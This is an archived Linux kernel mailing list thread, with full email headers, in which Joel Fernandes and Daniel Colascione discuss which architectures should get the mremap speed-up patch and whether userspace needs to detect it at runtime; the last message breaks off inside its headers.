> Makes sense, thanks. For the moment I sent patches to enable this on arm64
> and x86. We can enable it on sparc as well at a later time as it sounds it
> could be a safe optimization to apply to that architecture as well.
>
> thanks,
>
>  - Joel
>


From - Thu Nov 08 21:42:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Joel Fernandes <joel@joelfernandes.org>
Newsgroups: gmane.linux.kernel,gmane.comp.emulators.kvm.arm.devel,gmane.linux.ports.alpha,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.kernel.mm,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.riscv,gmane.linux.ports.sh.devel,gmane.linux.kernel.arc
Subject: Re: [PATCH v2 2/2] mm: speed up mremap by 500x on large regions
Date: Fri, 12 Oct 2018 18:44:29 -0700
Lines: 13
Approved: news@gmane.org
Message-ID: <20181013014429.GB207108@joelaf.mtv.corp.google.com>
References: <20181012013756.11285-2-joel@joelfernandes.org>
 <20181012113056.gxhcbrqyu7k7xnyv@kshutemo-mobl1>
 <20181012125046.GA170912@joelaf.mtv.corp.google.com>
 <20181012.111836.1569129998592378186.davem@davemloft.net>
 <20181013013540.GA207108@joelaf.mtv.corp.google.com>
 <CAKOZueuNvWvn18vffJWpbpg7h-uScT8gXrrudTB2pnT4M2HJ_w@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1539394953 31369 195.159.176.226 (13 Oct 2018 01:42:33 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 13 Oct 2018 01:42:33 +0000 (UTC)
User-Agent: Mutt/1.10.1 (2018-07-13)
Cc: David Miller <davem@davemloft.net>, kirill@shutemov.name,
        linux-kernel <linux-kernel@vger.kernel.org>,
        kernel-team@android.com, Minchan Kim <minchan@kernel.org>,
        Ramon Pantin <pantin@google.com>, hughd@google.com,
        Lokesh Gidra <lokeshgidra@google.com>,
        Michal Hocko <mhocko@kernel.org>,
        Andrew Morton <akpm@linux-foundation.org>,
        aryabinin@virtuozzo.com, luto@kernel.org, bp@alien8.de,
        catalin.marinas@arm.com, chris@zankel.net,
        dave.hansen@linux.intel.com, elfring@users.sourceforge.net,
        fenghua.yu@intel.com, geert@linux-m68k.org, gxt@pku.edu.cn,
        deller@gmx.de, mingo@redhat.com, jejb@parisc-linux.org,
        jdike@addtoit.com, jonas@southpole.se, Julia.Lawall@lip6.fr,
        kasan-dev@googlegroups.com, kvmarm@lists.cs.columbia.edu,
        lftan@altera.com, linux-alpha@vger.kernel.org,
        linux
To: Daniel Colascione <dancol@google.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Sat Oct 13 03:42:25 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1gB8wj-0007yS-7X
	for glk-linux-kernel-4@m.gmane.org; Sat, 13 Oct 2018 03:42:25 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1726928AbeJMJTn (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Sat, 13 Oct 2018 05:19:43 -0400
Original-Received: from mail-pg1-f194.google.com ([209.85.215.194]:45564 "EHLO
        mail-pg1-f194.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1726392AbeJMJTn (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Sat, 13 Oct 2018 05:19:43 -0400
Original-Received: by mail-pg1-f194.google.com with SMTP id t70-v6so6598641pgd.12
        for <linux-kernel@vger.kernel.org>; Fri, 12 Oct 2018 18:44:32 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=joelfernandes.org; s=google;
        h=date:from:to:cc:subject:message-id:references:mime-version
         :content-disposition:in-reply-to:user-agent;
        bh=EOwbPFoajGZi3/uQe5h542M6UYdoOEkmWBYBoXp9OV8=;
        b=TX0jPv1mV+ruD3G3qgqRA9UMXe+0i0YS6UXGUy6KTVLywoPyxQGhhjXFi4dn2iQI3x
         x/BukZ3beT2AFdW61n55JqI5ANyPOWfr1rNKfv8VAcertpXgkQEbv+tQZOTO68qVwDHs
         51gxQI0b3N3xdtlX+SiDVTyY2dpjIIcZ8JErQ=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:date:from:to:cc:subject:message-id:references
         :mime-version:content-disposition:in-reply-to:user-agent;
        bh=EOwbPFoajGZi3/uQe5h542M6UYdoOEkmWBYBoXp9OV8=;
        b=ZgviZjsjreUO8QO5zm4UjWow1Ob/2tuJAD3RzJbl9ZscS+5/VMWEGYPafBzd8s2wCP
         F9OOyyP04qN6UG8jtgtWaz/RI1FMERYvHyXyoozHKNX1RUeUOziAnKCp/yXJCxM6zJW5
         GX3VRUtZNZH5GpQ7Bg3w426NcMdvQyiMwpvMYLDEcnp3nf5ZhaDC5BRqwUzmINmBbtoN
         i1Giqs4IIXznqxC7ckAlXKBbEXC9q+nvgFDVzW8iTi4yB22veJHIJvB14kI7Zsyseydw
         h2A5NqGPtrE+g8lSpTrig9RwN68zQOPK8eew+Cn4x0pGRP9M4uED2wfSk57+0hYB9Rwn
         p31w==
X-Gm-Message-State: ABuFfojJbd9SOg4qYQFx340MgtJNON+20nqGds2sbXH9IB2yKFYVfDE6
        WlAitL7y4gBvfVKDqr1uzAj+tw==
X-Google-Smtp-Source: ACcGV63XxXW9pGHxVnF8xzzLyeXhR7XaYBjfw87dDDQ+CF+OqnNRmShTWlj1H1kUQbwXg/j2G4ghiQ==
X-Received: by 2002:a62:968a:: with SMTP id s10-v6mr8356398pfk.191.1539395071806;
        Fri, 12 Oct 2018 18:44:31 -0700 (PDT)
Original-Received: from localhost ([2620:0:1000:1601:3aef:314f:b9ea:889f])
        by smtp.gmail.com with ESMTPSA id r81-v6sm6155322pfa.110.2018.10.12.18.44.30
        (version=TLS1_2 cipher=ECDHE-RSA-CHACHA20-POLY1305 bits=256/256);
        Fri, 12 Oct 2018 18:44:30 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <CAKOZueuNvWvn18vffJWpbpg7h-uScT8gXrrudTB2pnT4M2HJ_w@mail.gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2898084 gmane.comp.emulators.kvm.arm.devel:19460 gmane.linux.ports.alpha:5324 gmane.linux.ports.hexagon:1922 gmane.linux.ports.ia64:29400 gmane.linux.ports.mips.general:67074 gmane.linux.kernel.mm:205242 gmane.linux.ports.parisc:29175 gmane.linux.ports.ppc64.devel:164174 gmane.linux.ports.riscv:1069 gmane.linux.ports.sh.devel:57647 gmane.linux.kernel.arc:4549
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2898084>

On Fri, Oct 12, 2018 at 06:39:45PM -0700, Daniel Colascione wrote:
> Not 32-bit ARM?

Well, I didn't want to enable every possible architecture we could in a
single go. Certainly arm32 can be a follow on enablement as can be other
architectures. The point of this series is to upstream this feature and
enable a hand-picked few architectures as a first step.

thanks,

 - Joel



From - Thu Nov 08 21:42:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Daniel Colascione <dancol@google.com>
Newsgroups: gmane.linux.kernel,gmane.comp.emulators.kvm.arm.devel,gmane.linux.ports.alpha,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.kernel.mm,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.riscv,gmane.linux.ports.sh.devel,gmane.linux.kernel.arc
Subject: Re: [PATCH v2 2/2] mm: speed up mremap by 500x on large regions
Date: Fri, 12 Oct 2018 18:54:33 -0700
Lines: 23
Approved: news@gmane.org
Message-ID: <CAKOZues25aaKz3_AiyfJ=r2QBd5MghgY3ky_ptg4Z8=ST4DCgw@mail.gmail.com>
References: <20181012013756.11285-2-joel@joelfernandes.org>
 <20181012113056.gxhcbrqyu7k7xnyv@kshutemo-mobl1> <20181012125046.GA170912@joelaf.mtv.corp.google.com>
 <20181012.111836.1569129998592378186.davem@davemloft.net> <20181013013540.GA207108@joelaf.mtv.corp.google.com>
 <CAKOZueuNvWvn18vffJWpbpg7h-uScT8gXrrudTB2pnT4M2HJ_w@mail.gmail.com> <20181013014429.GB207108@joelaf.mtv.corp.google.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1539395559 9091 195.159.176.226 (13 Oct 2018 01:52:39 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 13 Oct 2018 01:52:39 +0000 (UTC)
Cc: David Miller <davem@davemloft.net>, kirill@shutemov.name,
        linux-kernel <linux-kernel@vger.kernel.org>,
        kernel-team@android.com, Minchan Kim <minchan@kernel.org>,
        Ramon Pantin <pantin@google.com>, hughd@google.com,
        Lokesh Gidra <lokeshgidra@google.com>,
        Michal Hocko <mhocko@kernel.org>,
        Andrew Morton <akpm@linux-foundation.org>,
        aryabinin@virtuozzo.com, luto@kernel.org, bp@alien8.de,
        catalin.marinas@arm.com, chris@zankel.net,
        dave.hansen@linux.intel.com, elfring@users.sourceforge.net,
        fenghua.yu@intel.com, geert@linux-m68k.org, gxt@pku.edu.cn,
        deller@gmx.de, mingo@redhat.com, jejb@parisc-linux.org,
        jdike@addtoit.com, jonas@southpole.se, Julia.Lawall@lip6.fr,
        kasan-dev@googlegroups.com, kvmarm@lists.cs.columbia.edu,
        lftan@altera.com, linux-alpha@vger.kernel.org,
        linux
To: Joel Fernandes <joel@joelfernandes.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Sat Oct 13 03:52:31 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1gB96U-0002BG-Gc
	for glk-linux-kernel-4@m.gmane.org; Sat, 13 Oct 2018 03:52:30 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1727047AbeJMJ3r (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Sat, 13 Oct 2018 05:29:47 -0400
Original-Received: from mail-ot1-f67.google.com ([209.85.210.67]:41708 "EHLO
        mail-ot1-f67.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1726907AbeJMJ3r (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Sat, 13 Oct 2018 05:29:47 -0400
Original-Received: by mail-ot1-f67.google.com with SMTP id c32so14078678otb.8
        for <linux-kernel@vger.kernel.org>; Fri, 12 Oct 2018 18:54:35 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20161025;
        h=mime-version:in-reply-to:references:from:date:message-id:subject:to
         :cc;
        bh=ruDqHADLGhUq/OqjXNRFevT5jDn0habRcwA3l0QGuG8=;
        b=oO7CQBJ0o3h4W+oksCLNlcAMMdo7sg4Jtv1VCUZcuw6SrUuKQoC7/yRbVEByqVegR5
         2XakAmI6gLBq49bXmjVYz4+acBeAcuwKtUHPjj2sGXy+jzOkdhqdTL0YPcZPqB+LKt6o
         bhRful9oO7cRR8nbmHw1A7uqI9ttcB1fV31XpSXw7a9IcC+joMzcgVc8TxQKKcRQt8Re
         zoNMfZUWu+1do2+6RW0MSWVyN/9DUjKrGt5dJpbjxpWiCS22HxYleuy9uZIoJeze7/q0
         zCoyyhRBLvqgZ71FAynWB3xe4pRvB3ibgZGe60xwaYIUrVPx8bwkXyzud+F7R7U1MaXx
         /VYA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:in-reply-to:references:from:date
         :message-id:subject:to:cc;
        bh=ruDqHADLGhUq/OqjXNRFevT5jDn0habRcwA3l0QGuG8=;
        b=O4U0g8BC4DyFZo36yrtoT018ZQoEULqkvr27of2t7ZAHL5Q7pxuDJOq+yJogcG0nH3
         rX51gEy7APoXm5ObOOuCP4U3ipNRTPxI3VUbGusI3rT77YM6k2Bjd/1Orw6UiZAw3/mA
         D+1JnUAa8pPv0nlH9Mq50ZAkE0A8vnRkls5rNoz7mOQgKP8T1NkGP3zEtZ9BPj2+4kLP
         0d1elmNErU+4gVGOuJEYM1AqYa6Cp3hSbaooCEJoKlqsnhdgqeH04vR9vqkEnCRsAoR3
         6wRle6UQu647Em5j5Ku2kMrOxMWeThe3FdLbd7CF/IViKHPf1G/Ca73u9Fl/4Eo9sqYg
         4CLA==
X-Gm-Message-State: ABuFfogY0+5UmirSngCKJC58gDIGRiNePoiYCacKbNQ13fjea/OMO31o
        d/gt4Zeh4QNvncT9etU8yIzb6jeOjdeOfl2l4vjm3g==
X-Google-Smtp-Source: ACcGV61wTHJT8KA0FRbB4T8HJavFhx8DCnBEFcv7It/8YmRplkdtkLJbpEFBtddWCai0iE4efhP92rfUMrMKw3tumlM=
X-Received: by 2002:a9d:3a21:: with SMTP id j30mr2325823otc.237.1539395674440;
 Fri, 12 Oct 2018 18:54:34 -0700 (PDT)
Original-Received: by 2002:ac9:56d8:0:0:0:0:0 with HTTP; Fri, 12 Oct 2018 18:54:33
 -0700 (PDT)
In-Reply-To: <20181013014429.GB207108@joelaf.mtv.corp.google.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2898086 gmane.comp.emulators.kvm.arm.devel:19461 gmane.linux.ports.alpha:5325 gmane.linux.ports.hexagon:1923 gmane.linux.ports.ia64:29401 gmane.linux.ports.mips.general:67075 gmane.linux.kernel.mm:205243 gmane.linux.ports.parisc:29176 gmane.linux.ports.ppc64.devel:164175 gmane.linux.ports.riscv:1070 gmane.linux.ports.sh.devel:57648 gmane.linux.kernel.arc:4550
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2898086>

I wonder whether it makes sense to expose to userspace somehow whether
mremap is "fast" for a particular architecture. If a feature relies on
fast mremap, it might be better for some userland component to disable
that feature entirely rather than blindly use mremap and end up
performing very poorly. If we're disabling fast mremap when THP is
enabled, the userland component can't just rely on an architecture
switch and some kind of runtime feature detection becomes even more
important.

On Fri, Oct 12, 2018 at 6:44 PM, Joel Fernandes <joel@joelfernandes.org> wrote:
> On Fri, Oct 12, 2018 at 06:39:45PM -0700, Daniel Colascione wrote:
>> Not 32-bit ARM?
>
> Well, I didn't want to enable every possible architecture we could in a
> single go. Certainly arm32 can be a follow on enablement as can be other
> architectures. The point of this series is to upstream this feature and
> enable a hand-picked few architectures as a first step.
>
> thanks,
>
>  - Joel
>


From - Thu Nov 08 21:42:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Joel Fernandes <joel@joelfernandes.org>
Newsgroups: gmane.linux.kernel,gmane.comp.emulators.kvm.arm.devel,gmane.linux.ports.alpha,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.kernel.mm,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.riscv,gmane.linux.ports.sh.devel,gmane.linux.kernel.arc
Subject: Re: [PATCH v2 2/2] mm: speed up mremap by 500x on large regions
Date: Fri, 12 Oct 2018 19:10:57 -0700
Lines: 30
Approved: news@gmane.org
Message-ID: <20181013021057.GA213522@joelaf.mtv.corp.google.com>
References: <20181012013756.11285-2-joel@joelfernandes.org>
 <20181012113056.gxhcbrqyu7k7xnyv@kshutemo-mobl1>
 <20181012125046.GA170912@joelaf.mtv.corp.google.com>
 <20181012.111836.1569129998592378186.davem@davemloft.net>
 <20181013013540.GA207108@joelaf.mtv.corp.google.com>
 <CAKOZueuNvWvn18vffJWpbpg7h-uScT8gXrrudTB2pnT4M2HJ_w@mail.gmail.com>
 <20181013014429.GB207108@joelaf.mtv.corp.google.com>
 <CAKOZues25aaKz3_AiyfJ=r2QBd5MghgY3ky_ptg4Z8=ST4DCgw@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1539396543 11422 195.159.176.226 (13 Oct 2018 02:09:03 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 13 Oct 2018 02:09:03 +0000 (UTC)
User-Agent: Mutt/1.10.1 (2018-07-13)
Cc: David Miller <davem@davemloft.net>, kirill@shutemov.name,
        linux-kernel <linux-kernel@vger.kernel.org>,
        kernel-team@android.com, Minchan Kim <minchan@kernel.org>,
        Ramon Pantin <pantin@google.com>, hughd@google.com,
        Lokesh Gidra <lokeshgidra@google.com>,
        Michal Hocko <mhocko@kernel.org>,
        Andrew Morton <akpm@linux-foundation.org>,
        aryabinin@virtuozzo.com, luto@kernel.org, bp@alien8.de,
        catalin.marinas@arm.com, chris@zankel.net,
        dave.hansen@linux.intel.com, elfring@users.sourceforge.net,
        fenghua.yu@intel.com, geert@linux-m68k.org, gxt@pku.edu.cn,
        deller@gmx.de, mingo@redhat.com, jejb@parisc-linux.org,
        jdike@addtoit.com, jonas@southpole.se, Julia.Lawall@lip6.fr,
        kasan-dev@googlegroups.com, kvmarm@lists.cs.columbia.edu,
        lftan@altera.com, linux-alpha@vger.kernel.org,
        linux
To: Daniel Colascione <dancol@google.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Sat Oct 13 04:08:55 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1gB9ML-0002oQ-MX
	for glk-linux-kernel-4@m.gmane.org; Sat, 13 Oct 2018 04:08:54 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1727103AbeJMJqQ (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Sat, 13 Oct 2018 05:46:16 -0400
Original-Received: from mail-pf1-f194.google.com ([209.85.210.194]:36346 "EHLO
        mail-pf1-f194.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1726139AbeJMJqP (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Sat, 13 Oct 2018 05:46:15 -0400
Original-Received: by mail-pf1-f194.google.com with SMTP id l81-v6so7046083pfg.3
        for <linux-kernel@vger.kernel.org>; Fri, 12 Oct 2018 19:11:00 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=joelfernandes.org; s=google;
        h=date:from:to:cc:subject:message-id:references:mime-version
         :content-disposition:in-reply-to:user-agent;
        bh=6XZWKP2pbysVG8F4WKX4YkunFpUXVJoneS2qWT0rIgM=;
        b=N2gi5ZnNq30pQxOnEBYq6zdh6G0ns+SI6AVZkhimNQGD9yQOm5UYR6JGFwS2BUFCIW
         FauhTl3Q+WSZVHehFg8SNEE/bWYFsI9CNtDr8BWvee6Gq8YU62TJwxNiZpLSShCoUVdR
         L56i07BfoCPIOURgBXyQvQokxNKgq+N+jyEKk=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:date:from:to:cc:subject:message-id:references
         :mime-version:content-disposition:in-reply-to:user-agent;
        bh=6XZWKP2pbysVG8F4WKX4YkunFpUXVJoneS2qWT0rIgM=;
        b=riiJ2CDuVEUWNwtsneifJVdbGTUJ69x38xvkU/mozGimUX0tAzvar/WMi5XSTSgq8u
         rZfpQjHlriv0sXUCtW+HNaejWteMHiUDU1A6YpE+iF0wRBAnjt/4hu6UdVr0uy+1Niu2
         6LIUWxeeIxRSXIQbL57mUXrcYMK0ZD8X6CcIrtpXCj8/1gddpuUbwBRnNzRzVT/q8Rkm
         SwvVAeWaVA7Ksvjalq/lonFvYSh8uOpd4riDw9sbY5rP1K1SNNIBGkDHX1fTtKKDvne+
         h8odN8zlcz4Bga8qHAf+yxGJQL1OBGMPEb3YYcK189pZwAm49XMmmHfqDfwvT/QOI8xq
         0xTQ==
X-Gm-Message-State: ABuFfoiApGcEZv0ngUrGwRkvclorLto7TU6Z1ZYwGlVIEwYATohbuZT7
        tILWE22vMUeFqLZvM+lTi5pzPA==
X-Google-Smtp-Source: ACcGV63F+9SrXFCpEUHB+XptA5Iqqus34UkUro+5Ai/GVN+L0Yg6ILmrGMV/JAu7RXyjGdEg/oMq4Q==
X-Received: by 2002:a65:5147:: with SMTP id g7-v6mr7890713pgq.252.1539396659739;
        Fri, 12 Oct 2018 19:10:59 -0700 (PDT)
Original-Received: from localhost ([2620:0:1000:1601:3aef:314f:b9ea:889f])
        by smtp.gmail.com with ESMTPSA id b29-v6sm4669490pfj.183.2018.10.12.19.10.58
        (version=TLS1_2 cipher=ECDHE-RSA-CHACHA20-POLY1305 bits=256/256);
        Fri, 12 Oct 2018 19:10:58 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <CAKOZues25aaKz3_AiyfJ=r2QBd5MghgY3ky_ptg4Z8=ST4DCgw@mail.gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2898090 gmane.comp.emulators.kvm.arm.devel:19462 gmane.linux.ports.alpha:5326 gmane.linux.ports.hexagon:1924 gmane.linux.ports.ia64:29402 gmane.linux.ports.mips.general:67076 gmane.linux.kernel.mm:205244 gmane.linux.ports.parisc:29177 gmane.linux.ports.ppc64.devel:164176 gmane.linux.ports.riscv:1071 gmane.linux.ports.sh.devel:57649 gmane.linux.kernel.arc:4551
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2898090>

On Fri, Oct 12, 2018 at 06:54:33PM -0700, Daniel Colascione wrote:
> I wonder whether it makes sense to expose to userspace somehow whether
> mremap is "fast" for a particular architecture. If a feature relies on
> fast mremap, it might be better for some userland component to disable
> that feature entirely rather than blindly use mremap and end up
> performing very poorly. If we're disabling fast mremap when THP is
> enabled, the userland component can't just rely on an architecture
> switch and some kind of runtime feature detection becomes even more
> important.

I hate to point out that its forbidden to top post on LKML :-)
https://kernelnewbies.org/mailinglistguidelines
So don't that Mr. Dan! :D

But anyway, I think this runtime detection thing is not needed. THP is
actually expected to be as fast as this anyway, so if that's available then
we should already be as fast. This is for non-THP where THP cannot be enabled
and there is still room for some improvement. Most/all architectures will be
just fine with this. This flag is more of a safety-net type of thing where in
the future if there is this one or two weird architectures that don't play
well, then they can turn it off at the architecture level by not selecting
the flag. See my latest patches for the per-architecture compile-time
controls. Ideally we'd like to blanket turn it on on all, but this is just
playing it extra safe as Kirill and me were discussing on other threads.

thanks!

- Joel



From - Thu Nov 08 21:42:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Daniel Colascione <dancol@google.com>
Newsgroups: gmane.linux.kernel,gmane.comp.emulators.kvm.arm.devel,gmane.linux.ports.alpha,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.kernel.mm,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.riscv,gmane.linux.ports.sh.devel,gmane.linux.kernel.arc
Subject: Re: [PATCH v2 2/2] mm: speed up mremap by 500x on large regions
Date: Fri, 12 Oct 2018 19:25:08 -0700
Lines: 44
Approved: news@gmane.org
Message-ID: <CAKOZueu2wdkeUFYLQ8qE48yJs1_uRz-9RVJRkp==CL=jp=Q8+g@mail.gmail.com>
References: <20181012013756.11285-2-joel@joelfernandes.org>
 <20181012113056.gxhcbrqyu7k7xnyv@kshutemo-mobl1> <20181012125046.GA170912@joelaf.mtv.corp.google.com>
 <20181012.111836.1569129998592378186.davem@davemloft.net> <20181013013540.GA207108@joelaf.mtv.corp.google.com>
 <CAKOZueuNvWvn18vffJWpbpg7h-uScT8gXrrudTB2pnT4M2HJ_w@mail.gmail.com>
 <20181013014429.GB207108@joelaf.mtv.corp.google.com> <CAKOZues25aaKz3_AiyfJ=r2QBd5MghgY3ky_ptg4Z8=ST4DCgw@mail.gmail.com>
 <20181013021057.GA213522@joelaf.mtv.corp.google.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1539397397 3940 195.159.176.226 (13 Oct 2018 02:23:17 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 13 Oct 2018 02:23:17 +0000 (UTC)
Cc: David Miller <davem@davemloft.net>, kirill@shutemov.name,
        linux-kernel <linux-kernel@vger.kernel.org>,
        kernel-team@android.com, Minchan Kim <minchan@kernel.org>,
        Ramon Pantin <pantin@google.com>,
        Hugh Dickins <hughd@google.com>,
        Lokesh Gidra <lokeshgidra@google.com>,
        Michal Hocko <mhocko@kernel.org>,
        Andrew Morton <akpm@linux-foundation.org>,
        aryabinin@virtuozzo.com, luto@kernel.org, bp@alien8.de,
        catalin.marinas@arm.com, Chris Zankel <chris@zankel.net>,
        dave.hansen@linux.intel.com, elfring@users.sourceforge.net,
        fenghua.yu@intel.com, geert@linux-m68k.org, gxt@pku.edu.cn,
        deller@gmx.de, mingo@redhat.com, jejb@parisc-linux.org,
        jdike@addtoit.com, Jonas Bonn <jonas@southpole.se>,
        Julia Lawall <Julia.Lawall@lip6.fr>,
        kasan-dev@googlegroups.com, kvmarm@lists.cs.columbia
To: Joel Fernandes <joel@joelfernandes.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Sat Oct 13 04:23:09 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1gB9a8-0000o1-Es
	for glk-linux-kernel-4@m.gmane.org; Sat, 13 Oct 2018 04:23:08 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1726339AbeJMKA3 (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Sat, 13 Oct 2018 06:00:29 -0400
Original-Received: from mail-ot1-f68.google.com ([209.85.210.68]:39272 "EHLO
        mail-ot1-f68.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1726005AbeJMKA2 (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Sat, 13 Oct 2018 06:00:28 -0400
Original-Received: by mail-ot1-f68.google.com with SMTP id l58so14121604otd.6
        for <linux-kernel@vger.kernel.org>; Fri, 12 Oct 2018 19:25:10 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20161025;
        h=mime-version:in-reply-to:references:from:date:message-id:subject:to
         :cc;
        bh=AVT8yt4SB5J9DoLXgmc7fyXmf+sZ/QolyovgztLAQ10=;
        b=uV2twWkmECSPrusRnN/vXPmvBFYTjOqR8hUGj7uFIqFnja6HWyEE59/EX6URRSK7ei
         bsLQO8pq96Yj7M5G0CjsRbi5afMpRO5p6LGi6gqkF1Fsb96X2cpi7a6HzEjPHM5S5b/+
         frAsPOqLD9LWEf7OVOqxvcQcS5euFpCDZTZ4mQNwNIu+I5BIdazSX176UsMrE2WE7yqy
         vEzD1H9jpf2yN7Z39bZVobe1cuQmeBj/6yYghOi4Eg5BRvkIX/X2/Np9eIx+7MbesZ3i
         M/WKTCz0rPGomijvt/NLvxi250WzkhscHNYFINjgKIa6h6fyG7Vk/yjb5v+LZqg963lC
         Fyng==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:in-reply-to:references:from:date
         :message-id:subject:to:cc;
        bh=AVT8yt4SB5J9DoLXgmc7fyXmf+sZ/QolyovgztLAQ10=;
        b=iO3iQcf9MSDHNE/4t8xHu6Q3sWW/OMv886ZyPBw+nOwQNsPfxyQb2lK5tDsU5Gesun
         MW0w65fnERfJXE/zQyftw5kqy3wpRJt5mr6qnuINti/LHe0v+s8v/FCuaPLYho5swfY7
         ef5J+I0zUgFf9DjRBGeIJD9i0eHhtQLKKVcSPCBhemSSS6KLcZqTVNSvO/fulL8offzd
         A1OukEV0YOJ2uk34FzvAT7uNsD5aRwqYcBYOXXdvde7jmfthwLqLHub6IqvIldnJGGIc
